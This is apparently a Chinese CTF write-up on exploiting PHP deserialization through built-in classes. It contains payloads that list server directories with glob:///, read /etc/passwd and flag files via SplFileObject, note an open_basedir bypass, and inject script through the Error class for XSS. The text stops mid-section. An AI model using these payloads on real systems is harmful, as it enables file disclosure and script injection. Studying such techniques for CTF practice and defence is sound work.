目录
使用 Error/Exception 内置类绕过hash 比较。
前言:
对PHP 原生类的利用似懂非懂,总是看完wp 才恍然大悟,原来可以这么用, 所以收集总结一下 我涉及到的php 原生类的题目,加深巩固。
ez_serialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctf";
echo new $this->class($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
}
else
{
$a=new A;
}
?>
这是一道很经典的题, 做过好多类似的,简单审计一下吧。
先反序列化了pop 传入的值,然后我们全局查找一下出口,也就是我们能利用的点,一般都是file_put_contents file_get_contents system eval 什么的,但是这里没有。审计了一会后,能利用的也就这些地方了
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class($this->para);
}
else
die('bad hacker~');
}
这里 echo 了一个 类对象,那么不就是触发了 __toString 方法了嘛,不由得想到 使用php原生文件操作类。
PHP原生文件操作类:
这里提出 4个类,可以对文件进行操作的类:
可遍历目录类:
DirectoryIterator
FilesystemIterator
GlobIterator与上面略不同,该类可以通过模式匹配来寻找文件路径。
遍历目录 用以上哪个类都行,最好搭配glob:///协议去模式匹配来寻找我们想要文件的路径。
例如:
DirectoryIterator
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=glob:///*
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
FilesystemIterator
<?php
$dir = $_GET['whoami'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=glob:///*
# payload一句话的形式:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
GlobIterator :
<?php
$dir = $_GET['whoami'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=/*
# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
也可以从此代码绕过 open_basedir ,其原理不再赘述
可读取文件类:
SplFileObject 类
SplFileObject在此函数中,URL 可作为文件名,不过也要受到影响。allow_url_fopen
SplFileInfo 类为单个文件的信息,提供了一个高级对象的接口,可以用于对文件的内容 遍历,查找,操作。
测试:
读取文件的一行
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
对文件中的每一行内容进行遍历。
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
这道题可以先使用 FilesystemIterator 类来列举 flag 的位置,如:
<?php
class A{
public $class='DirectoryIterator';
public $para="/var/www/html";
public $check;
}
$a = new A();
echo serialize($a);
看到
往payload 追加 目录,可以看到里面有个flag.php
然后我们使用文件读取类 操作就可以了:
<?php
class A{
public $class='SplFileObject';
public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
public $check;
}
$a = new A();
echo serialize($a);
利用Error/Exception 内置类进行XSS
Error
使用条件:
- 适用于php7的版本
- 在开启报错的情况下
Error类是php 的一个内置类,用于自动自定义一个Error ,在php7的情况下可能会造成一个xss漏洞,因为他内置有一个 __toString() 方法,常用于php反序列化中,如果 有个pop链走到一半走不通了,可以尝试利用这个来做一个xss,直接利用xss来打, 很多cms会选择使用 echo <obejet>类的写法,这回触发__toString 方法。利用这个类调用__toString 也会有意想不到的操作。
本地测试代码:
<?php
$a = unserialize($_GET['cmd']);
echo $a;
这里 有个反序列化的操作,但是没有后续操作,只能用PHP原生类进行操作。
exp:
<?php
$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);
传入cmd